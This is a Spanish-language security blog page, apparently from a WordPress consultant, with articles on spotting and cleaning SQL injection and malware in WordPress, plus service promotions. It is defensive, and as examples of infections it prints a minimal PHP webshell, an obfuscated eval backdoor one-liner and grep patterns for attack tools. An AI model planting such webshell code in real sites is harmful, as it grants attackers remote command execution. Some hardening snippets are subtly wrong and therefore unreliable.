    WordPress proporciona $wpdb->prepare() específicamente para esto, pero muchos desarrolladores lo ignoran. La versión segura sería:

    $results = $wpdb->get_results(
        $wpdb->prepare(
            "SELECT * FROM $wpdb->posts WHERE post_title = %s",
            $user_input
        )
    );

    Los placeholders %s (string), %d (integer) y %f (float) escapen automáticamente los datos maliciosos.

    Signos de que tu WordPress ha sido atacado por inyección SQL

    No siempre es obvio detectar una inyección SQL. A diferencia de un ransomware, el atacante intenta permanecer invisible. Estos son los indicadores que busco cuando analizo un sitio:

    • Usuarios administrativos ocultos: Accede a tu base de datos (via phpMyAdmin) y revisa la tabla wp_users. ¿Hay cuentas que no creaste? Especialmente con nombres como «admin2», «test», «support».
    • Publicaciones modificadas sin tu participación: Revisa el historial de revisiones en el editor de WordPress. Si hay cambios que no hiciste, algo sucedió.
    • Redirecciones o scripts inyectados en el footer: Examina el archivo wp-config.php y los themes activos buscando código de redirección agregado.
    • Aumento inexplicable del uso de la base de datos: Sitios atacados suelen tener queries lentas. Usa plugins como Query Monitor para detectarlo.
    • Google Search Console muestra «Malware detectado»: Google analiza tu sitio continuamente y alerta sobre contenido malicioso.
    • Registros de error del servidor con intentos de acceso a archivos: Revisa los logs (generalmente en /var/log/apache2/) buscando patrones de fuzzing o acceso a ../wp-admin.

    Proceso de limpieza correcta de inyección SQL

    Paso 1: Identificación y aislamiento

    Lo primero que hago es no entrar en pánico y no eliminar datos. Aunque parezca contradictorio, una limpieza apresurada puede destruir evidencia o hacer el sitio peor.

    Conéctate a tu base de datos mediante phpMyAdmin (o Adminer) y ejecuta este comando para buscar patrones SQL inyectados comunes:

    SELECT * FROM wp_postmeta 
    WHERE meta_value LIKE '%union%' 
    OR meta_value LIKE '%select%' 
    OR meta_value LIKE '%insert%';

    También revisa la tabla wp_posts filtrando por post_modified reciente:

    SELECT ID, post_title, post_modified, post_author 
    FROM wp_posts 
    WHERE post_modified > DATE_SUB(NOW(), INTERVAL 7 DAY) 
    ORDER BY post_modified DESC;

    Esto te mostrará qué contenido fue modificado recientemente por el ataque.

    Paso 2: Backup limpio previo al ataque

    Antes de tocar nada, necesitas localizar un backup anterior a que el ataque ocurriera. Si usas WordPress.org Backups o un plugin como UpdraftPlus, revisa las fechas. Si no tienes backup limpio, lo mejor es trabajar sobre una copia de la base de datos actual para experimentar sin riesgo.

    Paso 3: Eliminación de usuarios maliciosos

    Una vez identificados los usuarios sospechosos en wp_users, elimínalos correctamente. No los borres directamente de la base de datos sin revisar primero qué contenido crearon. Desde el panel WordPress:

    1. Ve a Usuarios > Todos los usuarios
    2. Selecciona el usuario sospechoso
    3. Elimina al usuario y asigna su contenido a un usuario legítimo (o elimínalo también)

    Si necesitas eliminarlo por base de datos directamente (porque está oculto), usa:

    DELETE FROM wp_users WHERE user_login = 'nombre_sospechoso';
    DELETE FROM wp_usermeta WHERE user_id = 123;

    Reemplaza 123 con el ID real del usuario.

    Paso 4: Limpieza de posts comprometidos

    Revisa cada post modificado durante el período de ataque. Busca:

    • Scripts inyectados en el contenido visible o en campos ocultos
    • Cambios de redirecciones en URLs
    • Inserciones de iframes maliciosos
    • Código base64 o ofuscado

    Si encuentras contenido malicioso, edita el post y elimina manualmente el código. WordPress guarda revisiones, así que puedes revertir a una versión anterior si lo necesitas.

    Paso 5: Análisis del plugin/tema vulnerable

    Ahora necesitas identificar cómo el atacante entró. Revisa los logs del servidor buscando el patrón de la inyección SQL:

    grep -i "union|select|insert|drop" /var/log/apache2/access.log | head -20

    Esto te mostrará las URLs que contenían comandos SQL. Una vez identificado el plugin vulnerable:

    1. Desactívalo inmediatamente
    2. Accede a NVD o Wordfence Threat Intelligence para buscar si es una vulnerabilidad conocida
    3. Si existe actualización disponible, actualiza el plugin
    4. Si no existe parche o el plugin está abandonado, elimínalo permanentemente

    Paso 6: Hardening post-limpieza

    Una vez limpio el sitio, implementa estas medidas para evitar reinfecciones:

    • Cambiar todas las contraseñas: Admin, FTP, base de datos, hosting. El atacante puede haber robado hashes.
    • Deshabilitar edición de archivos: Agrega esto a wp-config.php:
      define('DISALLOW_FILE_EDIT', true);
    • Proteger wp-login.php: Implementa 2FA usando Two-Factor Authentication o limita intentos de login con reglas .htaccess:
      <Directory /var/www/html/wp-login.php>
      order allow,deny
      allow from all
      </Directory>
    • Actualizar WordPress y plugins regularmente: Configura actualizaciones automáticas para parches de seguridad críticos.
    • Cambiar prefijo de tablas de base de datos: Por defecto es wp_. Un atacante ya conoce esto. Considera cambiar a algo como abc123_ (requiere herramientas especializadas).
    • Implementar CSP (Content Security Policy): Previene ejecución de scripts inyectados. Agrega a .htaccess:
      <IfModule mod_headers.c>
      Header set Content-Security-Policy "default-src 'self';"
      </IfModule>

    Paso 7: Monitoreo continuo

    Después de la limpieza, establece alertas. Uso herramientas como:

    • Wordfence: Monitorea cambios de archivos, intentos de acceso sospechosos y actualiza automáticamente plugins.
    • WP Security Audit Log: Registra cada acción en WordPress para detectar comportamiento anómalo.
    • Google Search Console: Notifica si Google detecta malware nuevamente.
    • HSTS (HTTP Strict Transport Security): Fuerza HTTPS y previene ataques man-in-the-middle que podrían inyectar código.

    Herramientas profesionales para análisis forense

    Si sospechachas de una inyección SQL pero no sabes dónde buscar, estas herramientas aceleran el proceso:

    • WP-CLI: Línea de comandos de WordPress. Usa wp db query para ejecutar búsquedas en la base de datos rápidamente.
    • Sucuri SiteCheck: Escanea tu sitio online buscando malware y vulnerabilidades conocidas.
    • MalCare: Plugin que busca malware específico de WordPress incluyendo inyecciones SQL.
    • Query Monitor: Plugin para desarrolladores que muestra cada query SQL ejecutada en tu sitio (útil para identificar queries anómalas).
    • VirusTotal: Sube archivos PHP sospechosos para analizarlos contra múltiples motores de antivirus.

    Errores que debes evitar durante la limpieza

    En mi experiencia, hay patrones de error que veo repetidamente:

    1. Borrar plugins sin verificar primero: Un plugin vulnerable puede tener usuarios que dependen de él. Busca alternativas antes de eliminarlo completamente.

    2. No cambiar credenciales de hosting: Si el atacante entró por FTP, necesitas cambiar esas contraseñas también. Revisa los logs FTP para ver qué archivos fueron modificados.

    3. No revisar temas child: Un atacante a menudo modifica archivos en el tema child (functions.php, header.php) porque se ejecutan automáticamente. Busca código extraño allí.

    4. Asumir que una actualización soluciona todo: La actualización de un plugin cierra la vulnerabilidad, pero no limpia el malware ya instalado. Necesitas ambas cosas.

    5. No verificar permisos de archivos: Después de limpiar, asegúrate de que carpetas como /wp-content/uploads/ tengan permisos 755 (no 777). Los permisos 777 permiten que cualquier proceso escriba archivos maliciosos.

    Cuándo contactar a un profesional

    No todos los casos de inyección SQL requieren ayuda profesional, pero deberías considerar contactar a un especialista si:

    • No tienes acceso a logs del servidor o base de datos de forma segura
    • El atacante inyectó múltiples usuarios o modificó decenas de posts
    • Tu sitio depende de datos críticos (ecommerce, información sensible) que necesita validación forense
    • Ya intentaste limpiar por cuenta propia pero el problema persiste
    • Necesitas documentación legal de la limpieza (especialmente si estás bajo RGPD y hubo robo de datos)

    Cuando trabajo en casos así, mi proceso incluye análisis forense completo, restauración desde backup limpio cuando es posible, y un plan de hardening personalizado según el tipo de ataque detectado.

    Prevención futura: checklist de seguridad

    Para evitar que esto vuelva a ocurrir, implementa este checklist:

    • ☐ Actualizar WordPress, plugins y temas todas las semanas (al menos los parches de seguridad)
    • ☐ Eliminar plugins y temas que no uses
    • ☐ Usar solo plugins de desarrolladores reputados (verifica número de instalaciones, reviews, fecha última actualización)
    • ☐ Implementar backups diarios con retención de 30 días mínimo
    • ☐ Cambiar contraseña de admin a algo fuerte (mínimo 16 caracteres, mayúsculas, números, símbolos)
    • ☐ Habilitar 2FA en cuenta de administrador
    • ☐ Limitar intentos de login fallidos
    • ☐ Cambiar prefijo de base de datos (de wp_ a algo aleatorio)
    • ☐ Monitorear cambios de archivos con Wordfence
    • ☐ Usar HTTPS con certificado SSL válido
    • ☐ Implementar WAF (Web Application Firewall) — Cloudflare tiene plan gratuito excelente

    Respuesta a ataques recurrentes

    Si después de la limpieza detectas que el ataque vuelve a ocurrir (usuarios maliciosos reaparecen, código inyectado regresa), el problema no es la inyección SQL en sí, sino que el atacante mantiene acceso por otra vía. Podría ser:

    • Una puerta trasera (backdoor) instalada en una carpeta oculta como /wp-content/.htaccess.php
    • Un archivo webshell en /wp-content/uploads/
    • Credenciales de base de datos comprometidas (el atacante sigue conectado)
    • Acceso FTP o SSH mantenido activo

    En estos casos, necesitas una limpieza más profunda: cambiar credenciales de hosting en todos los niveles, buscar archivos ocultos o extraños, y posiblemente migrar a un servidor nuevo si sospechas rootkit.

    Si tu WordPress ha sido atacado por inyección SQL y quieres una limpieza profesional con garantía de eliminación completa, te recomiendo que contactes directamente con nosotros. En ManuelFolgar.com ofrecemos análisis forense detallado, limpieza completa de malware y un plan de hardening personalizado para tu sitio. Solicita una auditoría de seguridad sin compromiso — haremos una evaluación inicial para identificar exactamente qué pasó y cómo prevenirlo.

  • Cómo identificar archivos infectados en WordPress sin herramientas especializadas

    Cómo identificar archivos infectados en WordPress sin herramientas especializadas

    Cómo identificar archivos infectados en WordPress sin herramientas especializadas

    Cuando analizo un sitio WordPress comprometido, la primera pregunta que me hacen es: «¿Cómo puedo saber si tengo malware sin pagar por un scanner?». La respuesta es más sencilla de lo que parece, aunque requiere disciplina y atención al detalle. En mi experiencia, muchas infecciones son detectables con métodos manuales si sabes dónde y qué buscar.

    En este artículo te enseño las técnicas que uso profesionalmente para identificar archivos infectados en WordPress sin depender de herramientas de terceros. No es tan rápido como un scanner automático, pero es efectivo, gratuito y te da control total sobre el proceso de inspección.

    Por qué es importante detectar infecciones manualmente

    Aunque las herramientas especializadas como Wordfence o MalCare son valiosas, existen razones legítimas para aprender a hacerlo a mano:

    • Confirmación independiente: Un scanner puede generar falsos positivos. Revisar manualmente te da certeza.
    • Presupuesto limitado: Muchos propietarios de pequeños negocios no pueden pagar suscripciones premium.
    • Aprendizaje técnico: Entender cómo funciona una infección te prepara mejor para futuras defensas.
    • Malware evasivo: Algunos backdoors sofisticados están diseñados para eludir scanners genéricos.

    Lo que recomiendo siempre es combinar inspección manual con monitoreo de logs. No es ciencia ficción: acceso a tu servidor + observación cuidadosa = detección efectiva.

    Paso 1: Inspecciona el directorio de plugins activos

    Los plugins son el vector de ataque más común en WordPress. Según datos del repositorio oficial de WordPress, más del 70% de las infecciones entran por plugins desactualizados o nulled.

    Accede a tu servidor mediante FTP o el administrador de archivos de cPanel. Navega a /wp-content/plugins/. Aquí debes buscar:

    • Plugins que no reconoces: Algunos backdoors se instalan como plugins legítimos con nombres normales como «wp-updater» o «core-manager». Revisa la lista en el panel de WordPress (Plugins → Plugins instalados) y compara con lo que ves en el servidor. ¿Hay plugins en la carpeta que no aparecen en el escritorio?
    • Archivos fuera de lugar: Un plugin legítimo tiene una estructura clara: una carpeta con su nombre y archivos PHP dentro. Si encuentras un archivo .php suelto directamente en /plugins/, es sospechoso. Ejemplo: /wp-content/plugins/index.php o /wp-content/plugins/loader.php.
    • Dates recientes de modificación: En tu cliente FTP, activa la visualización de fechas de modificación. Si un plugin que no actualizaste tiene una fecha reciente, investiga.

    Para ver esto de forma más clara, puedo recomendarte usar WP-CLI si tienes acceso SSH. Con el comando wp plugin list obtienes la lista completa de plugins y comparas. Luego haz un ls -la /wp-content/plugins/ para ver fechas.

    Paso 2: Analiza el tema activo en búsqueda de modificaciones

    El segundo objetivo de los atacantes es el tema (theme). Un tema comprometido afecta a todas las páginas del sitio de forma simultánea.

    Navega a /wp-content/themes/[tu-tema-activo]/. Las señales de infección son:

    • Archivos PHP inusuales: Un tema tiene típicamente functions.php, style.css, archivos template como index.php, single.php, page.php. ¿Hay archivos PHP extraños como admin.php, setup.php, connect.php, o nombres genéricos como a.php, wp.php?
    • Carpetas nuevas: Busca directorios que no esperes: /upload/, /cache/, /tmp/ dentro del tema. Los atacantes las usan para almacenar webshells.
    • Modificación de functions.php: Abre functions.php con un editor de texto. Al final del archivo, ¿hay código ofuscado o ilegible? Líneas largas con base64_decode, eval, create_function, o caracteres extraños. Ejemplos reales que he encontrado:

      <?php $x = base64_decode("QGV2YWw="); $x($_REQUEST['a']); ?>

      Esto es típico de inyección de código malicioso.

    Si tu tema está nulled (versión pirata descargada), la probabilidad de contener backdoors es cercana al 100%. Lo que recomiendo es cambiar a un tema oficial cuanto antes.

    Paso 3: Examina el núcleo de WordPress (wp-config.php y archivos críticos)

    Hay 4 archivos críticos que los atacantes intentan modificar:

    • wp-config.php (en la raíz del sitio, no en /wordpress/)
    • index.php (raíz)
    • wp-load.php (raíz)
    • .htaccess (raíz, si usas Apache)

    Abre cada uno en tu editor de texto. Las líneas legítimas son pocas y específicas:

    wp-config.php: Debe contener definiciones de constantes como DB_NAME, DB_USER, DB_PASSWORD, DB_HOST, salts de autenticación, y poco más. ¿Hay código PHP suelto después de define()? ¿Funciones curl, file_get_contents, o eval? Es infección.

    index.php: Este archivo es muy simple: solo carga wp-blog-header.php. Si contiene más de 10 líneas o incluye llamadas a funciones extrañas, está comprometido.

    .htaccess: Busca reglas RewriteRule. Las reescrituras legítimas apuntan a index.php. Si encuentras redirecciones a dominios externos, inyección de headers, o código ofuscado, tienes un redireccionador.

    Paso 4: Busca patrones de código malicioso común

    Cuando reviso archivos PHP manualmente, siempre busco estas funciones peligrosas utilizadas de forma sospechosa:

    • base64_decode() combinado con eval() o exec()
    • system(), passthru(), shell_exec(), proc_open() – permitir ejecución de comandos del sistema
    • fopen(), fwrite(), file_put_contents() – escribir archivos nuevos
    • $_REQUEST, $_GET, $_POST, $_FILES – acceso a datos del usuario sin sanitizar
    • create_function() – función deprecada, ideal para ofuscación
    • preg_replace() con modificador /e – ejecuta código dentro de la expresión regular
    • assert() – interpreta cadenas como código PHP

    Un ejemplo real de código malicioso que he visto:

    if(isset($_REQUEST['cmd'])){
      system($_REQUEST['cmd']);
    }
    

    Esto es un webshell básico: recibe un parámetro cmd en URL y lo ejecuta en el servidor. Un atacante entraría con http://tudominio.com/?cmd=whoami y vería el usuario del servidor.

    Otro patrón común que me preocupa es el código ofuscado. Si ves una línea que no entiendes, usa un decodificador de base64 en línea. Muchas infecciones usan:

    eval(base64_decode("LONGSTRINGHERE"));

    Copia el string, decodifica, y verás el código real.

    Paso 5: Inspecciona la base de datos de WordPress

    El malware también se esconde en las opciones de la base de datos. Accede a phpMyAdmin (o tu herramienta de gestor de BD) y navega a la tabla wp_options (donde wp_ es tu prefijo de tabla).

    Busca en la columna option_name por entradas sospechosas:

    • Nombres que no reconoces: _transient_, siteurl, home (estas son legítimas, pero revisa su valor).
    • Opciones que comienzan con caracteres raros: números, underscores múltiples.
    • Si ves opciones como malicious_config, backdoor_settings, o seo_keywords_inject, son casi seguro malware.

    Abre la columna option_value de cualquier opción sospechosa. ¿Contiene código base64 o JavaScript ofuscado? Eso es un indicador claro.

    También revisa la tabla wp_posts buscando posts con titulos vacíos o contenido malicioso. Los cryptominers, por ejemplo, inyectan iframes en posts que apuntan a servidores de mining.

    Paso 6: Examina directorios de carga (uploads) con cuidado

    La carpeta /wp-content/uploads/ debería contener solo imágenes y documentos. Sin embargo, algunos ataques crean archivos PHP aquí disfrazados o dentro de directorios profundos.

    Desde FTP, busca:

    • Archivos .php en uploads: Cualquier .php aquí es anormal. La mayoría de hostings bloquea su ejecución, pero en algunos está permitida.
    • Archivos recientes en /uploads/cache/ o /uploads/tmp/: Si esas carpetas no existen normalmente, el atacante las creó.
    • Nombres ofuscados: Archivos como 3x8q.php, loader.jpg.php, o nombres que parecen legítimos (wp-config.php, admin.php).

    En mi experiencia, los webshells en uploads rara vez se ocultan bien. Son evidentes si sabes buscar.

    Paso 7: Revisa los logs del servidor

    Tu servidor guarda logs de acceso en /var/log/apache2/access.log (Apache) o /var/log/nginx/access.log (Nginx). Estos logs son oro puro para forensica.

    Accede por SSH si es posible. Busca patrones de ataque:

    grep -i "eval|base64|system|passthru" /var/log/apache2/access.log | tail -50
    

    Esto muestra los últimos 50 intentos de ejecución de código. También busca requests a archivos que no existen:

    grep "404" /var/log/apache2/access.log | grep ".php"
    

    Un atacante que prueba múltiples URLs php inexistentes es claramente un scanner automatizado.

    Busca también User-Agents sospechosos. Lo que recomiendo es filtrar por algo como:

    grep -i "sqlmap|nikto|scanner|curl|wget" /var/log/apache2/access.log
    

    Estas son herramientas de ataque. Si las ves, tu sitio fue objetivo de un scan automatizado.

    Paso 8: Utiliza grep para búsquedas rápidas en el servidor

    Si tienes acceso SSH (recomendado), puedes buscar patrones maliciosos en todos los archivos a la vez. Ejemplos que uso constantemente:

    grep -r "eval(" /home/usuario/public_html/wp-content/
    grep -r "base64_decode" /home/usuario/public_html/wp-content/
    grep -r "system(" /home/usuario/public_html/
    grep -r "exec(" /home/usuario/public_html/
    

    Si alguno devuelve resultados en archivos que no esperas (fuera de temas o plugins legítimos), investigas.

    Otro comando útil para encontrar archivos modificados recientemente:

    find /home/usuario/public_html/wp-content -mtime -1
    

    Esto muestra archivos modificados en el último día. Si tu sitio estaba «limpio» ayer y ahora hay cambios, algo pasó.

    Paso 9: Verifica la integridad de WordPress contra el repositorio oficial

    El equipo de seguridad de WordPress mantiene un repositorio central con versiones limpias. Aunque no es una herramienta automatizada en el sentido de un plugin, puedes descargar una copia oficial y comparar archivos manualmente.

    Descarga la versión exacta que usas (ej: 6.4.2) desde WordPress.org Release Archive.

    Usa diff (comando de terminal) para comparar:

    diff -r /ruta/oficial/wordpress/ /home/usuario/public_html/
    

    Esto muestra qué archivos difieren de la versión oficial. Los archivos modificados pueden ser actualizaciones tuyas (legítimas) o infección.

    Qué hacer cuando encuentres algo sospechoso

    Si identificas archivos infectados, tienes varias opciones:

    1. No elimines todavía: Primero documenta el hallazgo. Toma screenshoots, copia el código malicioso a un archivo de texto (no lo ejecutes).
    2. Aísla el sitio: Si es crítico, desconecta el sitio de internet mientras investigas. Pon una página estática.
    3. Contacta a un profesional: Si encuentras malware sofisticado o no estás seguro de la limpieza, es mejor no arriesgar. En ManuelFolgar.com realizamos auditorías de seguridad profundas y eliminación de malware verificada.
    4. Sí confías en ti mismo: Elimina archivos sospechosos, reinicia la base de datos si fue modificada, y cambia todas las contraseñas (admin de WordPress, FTP, SSH, BD).

    Lo importante es no dejar el malware en el servidor «por si acaso». Los backdoors permiten reinfecciones constantes. Una vez detectado, debe ser eliminado.

    Prevención: Evita futuras infecciones

    Ahora que sabes detectar, la siguiente pregunta es: ¿cómo evitar que vuelva?

    • Actualiza siempre: WordPress core, plugins, y temas. El 80% de las infecciones entran por software desactualizador.
    • Evita temas y plugins nulled: Los riesgos superan cualquier ahorro económico.
    • Contraseñas fuertes: Usa contraseñas de 16+ caracteres en el admin, FTP, y BD.
    • Limita intentos de login: Protege /wp-login.php con limite de intentos. Considera 2FA.
    • Permisos de archivos: Los directorios deben ser 755, los archivos 644. Las carpetas wp-config.php debe ser 600 (solo lectura).
    • Backups regulares: Automatiza backups diarios en un almacenamiento externo (no en el mismo servidor).

    Conclusión

    Identificar malware en WordPress sin herramientas especializadas es totalmente posible si tienes disciplina y conocimiento de qué buscar. Los archivos infectados dejan huellas: código ofuscado, archivos fuera de lugar, fechas de modificación recientes, y patrones de funciones peligrosas.

    Lo que recomiendo siempre es comenzar con lo básico: revisa plugins y temas, busca código base64 ofuscado, examina los logs del servidor. Si el malware es simple (webshells básicos, inyecciones de .htaccess), lo encontrarás en una hora. Si es sofisticado (rootkits, backdoors rootados), es más complicado.

    Si después de revisar manualmente necesitas confirmación o la infección parece seria, contáctame en ManuelFolgar.com. Realizamos análisis forense profundo, limpieza certificada, y hardening para evitar reinfecciones. Tu sitio web es tu negocio; merece protección profesional.

  • Escaneo de malware WordPress: herramientas y procedimientos

    Escaneo de malware WordPress: herramientas y procedimientos

    Escaneo de malware WordPress: herramientas y procedimientos

    Cuando un cliente me contacta porque sospecha que su WordPress está comprometido, lo primero que hago es un escaneo profundo de malware. No es algo opcional: si tu sitio está infectado y no lo detectas a tiempo, los daños pueden ser devastadores. Pérdida de datos, robo de credenciales, indexación de spam en Google, caída del tráfico orgánico y pérdida de confianza de usuarios son solo algunas consecuencias.

    En mi experiencia, la mayoría de los ataques a WordPress provienen de plugins desactualizados, temas nulled o contraseñas débiles en el panel de administración. El malware se instala silenciosamente y puede estar semanas sin ser detectado. Por eso te voy a mostrar exactamente cómo scanear tu sitio, qué herramientas funcionan de verdad y qué hacer si encuentras algo.

    ¿Por qué un escaneo de malware es imprescindible?

    Antes de entrar en herramientas, quiero que entiendas por qué esto es crítico. Los atacantes no atacan WordPress al azar. Buscan activamente vulnerabilidades porque saben que hay cientos de miles de sitios WordPress sin parches de seguridad.

    Según el equipo de seguridad de WordPress.org, mantener tu instalación actualizada es la defensa más importante. Pero si ya estás comprometido, necesitas detectarlo rápido.

    Los tipos de malware que más veo en WordPress son:

    • Backdoors: archivos ocultos que permiten al atacante acceder sin credenciales reales
    • Webshells: scripts PHP que funcionan como puerta trasera remota
    • Redirectores: código que envía a visitantes a sitios maliciosos sin tu control
    • Cryptominers: scripts que usan CPU del servidor para minar criptomonedas
    • Skimmers de tarjetas: malware que captura datos de pagos (muy grave en tiendas online)
    • Inyección de spam SEO: contenido malicioso inyectado para posicionar sitios de terceros

    Herramientas principales para escanear malware en WordPress

    No todas las herramientas detectan lo mismo. Lo que recomiendo siempre es usar varias en combinación porque un malware sofisticado puede eludir un solo scanner.

    1. Wordfence (la mejor opción plugin)

    Wordfence es mi herramienta de referencia. Tiene una versión gratuita que escanea todo el servidor, compara archivos de WordPress contra las versiones originales, detecta malware en themes y plugins, e identifica vulnerabilidades conocidas.

    Cómo usarlo:

    1. Instala el plugin desde el repositorio oficial de WordPress
    2. Ve a Wordfence > Scan
    3. Haz clic en «Start scan»
    4. Espera a que termine (puede tardar 30-60 minutos según el tamaño del sitio)
    5. Revisa los resultados en la pestaña «Threat report»

    Lo que me gusta de Wordfence es que no solo busca malware, sino también archivos modificados. Si un plugin legítimo fue parchado con código malicioso, Wordfence lo detecta comparando el hash MD5 del archivo con el original en los servidores de WordPress.org.

    2. MalCare (escaneo en la nube)

    MalCare escanea tu sitio desde servidores en la nube, lo que evita sobrecargar tu propio servidor. Es especialmente útil si tu hosting es lento o tienes poco margen de recursos.

    Ventajas:

    • Detecta malware oculto en bases de datos
    • Identifica vulnerabilidades en plugins y temas
    • Tiene inteligencia artificial para detectar patrones de ataque nuevos
    • Versión gratuita funcional para sitios pequeños

    En un caso real, encontré un backdoor que Wordfence no había detectado porque estaba ofuscado en la base de datos. MalCare lo sacó a la luz en minutos.

    3. Sucuri SiteCheck (escaneo online gratuito)

    Sucuri SiteCheck es completamente gratuito y no requiere instalar nada. Solo necesitas acceder a su web, escribir tu URL y esperar. Es perfecto como primer chequeo rápido.

    Te muestra:

    • Malware detectado
    • Blacklist status (si Google o Sucuri lo han marcado como malicioso)
    • Problemas de seguridad general
    • Vulnerabilidades conocidas

    4. Google Search Console (control de Google)

    Google indexa malware constantemente. Si tu sitio tiene código malicioso, muy probablemente lo haya detectado. En Google Search Console, ve a «Seguridad y acciones manuales» para ver si Google ha marcado tu dominio.

    Si aparece «Malware detectado», tienes un problema real que requiere acción inmediata.

    5. Análisis manual con WP-CLI

    Para los que se sienten cómodos con línea de comandos, WP-CLI es brutal en eficiencia:

    Listar plugins activos con versiones:

    • wp plugin list

    Verificar integridad de archivos de WordPress core:

    • wp core verify-checksums

    Buscar archivos sospechosos modificados recientemente:

    • find /ruta/a/wordpress -type f -name «*.php» -mtime -7

    Este comando te muestra todos los archivos PHP modificados en los últimos 7 días. Si encontras algo fuera de wp-content/uploads o temas/plugins legítimos, es sospechoso.

    6. VirusTotal (análisis de archivos individuales)

    VirusTotal te permite subir archivos PHP sospechosos y escanearlos contra 90+ antivirus. Es especialmente útil cuando encuentras un archivo raro y no sabes si es legítimo.

    Procedimiento completo de escaneo

    Aquí está el protocolo que sigo yo cuando analizo un sitio potencialmente comprometido:

    Paso 1: Escaneo inicial rápido

    Primero, accedo a Sucuri SiteCheck con la URL del cliente. Tarda 2-3 minutos y te da un primer veredicto. Si sale «malware detectado» aquí, ya sabemos que es grave.

    Paso 2: Escaneo con Wordfence

    Instalo Wordfence si no lo tiene, y lanzo un escaneo completo. Mientras se ejecuta (30-60 minutos), paso al siguiente punto.

    Paso 3: Revisión de Google Search Console

    Compruebo si Google ha detectado malware. Si tiene alertas de «Sitio comprometido» o «Malware», la situación es más delicada.

    Paso 4: Análisis de plugins y temas

    Busco:

    • Plugins desactualizados: cualquier versión antigua que tenga CVE publicado
    • Temas nulled: si el cliente dice «compré el tema en una tienda rara», probablemente sea falsificado
    • Plugins de origen dudoso: algunos «security» plugins maliciosos simulan ser legítimos
    • Plugins inactivos años atrás: son vectores de ataque si nunca se actualizaron

    Paso 5: Revisión manual de archivos core

    Con WP-CLI, corro «wp core verify-checksums». Si sale algo modificado en wp-load.php, wp-settings.php o wp-config.php, el sitio fue parchado.

    Paso 6: Búsqueda de backdoors

    Busco en directorios comunes donde los atacantes dejan backdoors:

    • /wp-content/uploads/ (el lugar más común)
    • /wp-content/plugins/ (especialmente plugins desactivados)
    • Raíz del sitio (archivos .php solitarios)
    • /wp-admin/ (si tiene permisos, pueden añadir ahí)

    Un backdoor típico es un archivo como «update.php», «config.php» o algo con nombre genérico. Cuando lo encuentro, corro VirusTotal para confirmar.

    Paso 7: Análisis de base de datos

    Conecto vía phpMyAdmin y busco:

    • Posts editados con código malicioso: inyección de iframes o scripts
    • Usuarios extra: cuentas de administrador que el cliente no reconoce
    • Opciones modificadas: valores raros en wp_options que podrían ser persistencia

    Un truco: busco en la tabla wp_posts donde post_content contiene «iframe» o «<script" sin ser del cliente.

    Paso 8: Logs del servidor

    Reviso access.log y error.log de Apache/Nginx. Busco:

    • POST requests a wp-login.php desde IPs raras
    • Accesos a archivos que no existen (típico de intentos de RFI/LFI)
    • Mensajes de error SQL (indicio de inyección)

    Qué hacer si encuentras malware

    Si tu escaneo da positivo, aquí es donde muchos clientes panic. Pero hay un plan claro:

    1. Aislamiento inmediato

    No esperes: si está en una blacklist de Google, necesitas sacarlo rápido. Algunas opciones:

    • Desactiva todos los plugins (excepto Wordfence)
    • Cambia el tema a uno stock de WordPress
    • Desconecta usuarios no autorizados en wp-admin

    El objetivo es minimizar el daño mientras trabajas en la limpieza.

    2. Backup seguro (si lo tienes)

    Descarga un backup anterior a la infección si lo guardaste. Cuidado: si el backup es infectado también, no sirve. Por eso recomiendo backups automáticos diarios, no semanales.

    3. Limpieza manual vs. reinstalación

    Aquí tengo dos opciones:

    Limpieza manual: si el malware es superficial (un plugin infectado, unos cuantos archivos backdoor), puedo eliminarlo manualmente, restablecer permisos y cambiar todas las contraseñas.

    Reinstalación completa: si el malware está profundamente enraizado (modificaciones en core, múltiples backdoors, inyección en BD), reinstalo WordPress desde cero, subo contenido limpio del backup, y reconfiguro todo.

    En mi experiencia, la reinstalación es más segura y custa menos tiempo que una limpieza manual exhaustiva.

    4. Cambio de credenciales

    Cambio todo:

    • Contraseña de admin de WordPress
    • Credenciales FTP/SFTP
    • Contraseña de la base de datos
    • Credenciales de email de administrador
    • Keys y salts de WordPress (en wp-config.php)

    5. Reportar a Google

    En Google Search Console, ve a «Seguridad y acciones manuales» y solicita una revisión de seguridad. Explica que ya está limpio. Google tarda 1-7 días en revisar.

    Prevención: hardening después del ataque

    Una vez limpios, implemento medidas para que no vuelva a pasar:

    Cambio de prefijo de tablas

    La mayoría de ataques SQL apuntan a tablas con nombre «wp_». Lo cambio en wp-config.php y la BD:

    • $table_prefix = ‘mf_’;

    Deshabilitar edición de archivos

    Añado a wp-config.php:

    • define(‘DISALLOW_FILE_EDIT’, true);

    Así, aunque un atacante acceda al panel de admin, no puede editar archivos PHP directamente.

    Proteger wp-config.php

    En .htaccess:

    • <files wp-config.php> deny from all </files>

    Limitar intentos de login

    Uso Wordfence Firewall para bloquear tras 5 intentos fallidos en 5 minutos. Mata los ataques de fuerza bruta.

    Dos factores de autenticación (2FA)

    Instalo Two-Factor Authentication for WordPress. Aunque hackeen la contraseña, sin el móvil no entran.

    Auditoría de actividad

    Wordfence mantiene logs de quién accede y cuándo. Lo reviso regularmente en «Tools > Activity Log».

    Automatizar escaneos

    Configuro escaneos semanales automáticos en Wordfence. Si encuentra algo, me avisa por email.

    Errores comunes que veo

    Después de años analizando WordPress infectados, estos son los fallos más frecuentes:

    • No actualizar plugins: el 80% de los ataques explotan vulnerabilidades conocidas y parchadas
    • Usar temas nulled: descargar temas «gratis» de sitios de dudosa reputación es suicida
    • Contraseñas débiles: «123456» o «admin» como contraseña de panel invita ataques brute force
    • No tener backups: si no tienes backup limpio, no puedes recuperarte
    • Ignorar alertas de Google: cuando Google te avisa, tienes días para actuar, no semanas
    • Confiar en un solo scanner: usar solo Wordfence puede dejar malware sin detectar

    Resumen: tu checklist de escaneo

    Si sospechas malware, haz esto hoy:

    1. Accede a Sucuri SiteCheck y scanea tu URL
    2. Revisa Google Search Console para alertas de malware
    3. Instala Wordfence si no lo tienes y lanza escaneo completo
    4. Revisa plugins desactualizados y desactiva los dudosos
    5. Busca archivos PHP raros en wp-content/uploads/
    6. Si encuentras algo, contacta con un profesional

    No intentes limpiar malware sofisticado tú solo si no tienes experiencia. Un mal movimiento puede borrar contenido legítimo o dejar puertas traseras. Lo que recomiendo siempre es trabajar con especialistas en seguridad WordPress.

    Si tu sitio está comprometido o tienes dudas después de un escaneo, contacta conmigo en ManuelFolgar.com. Hago análisis profundos de seguridad y limpiezas garantizadas para WordPress. Tu sitio es tu negocio, y merece estar protegido.

  • Recuperar WordPress hackeado: paso a paso desde cero

    Recuperar WordPress hackeado: paso a paso desde cero

    Recuperar WordPress hackeado: guía completa paso a paso

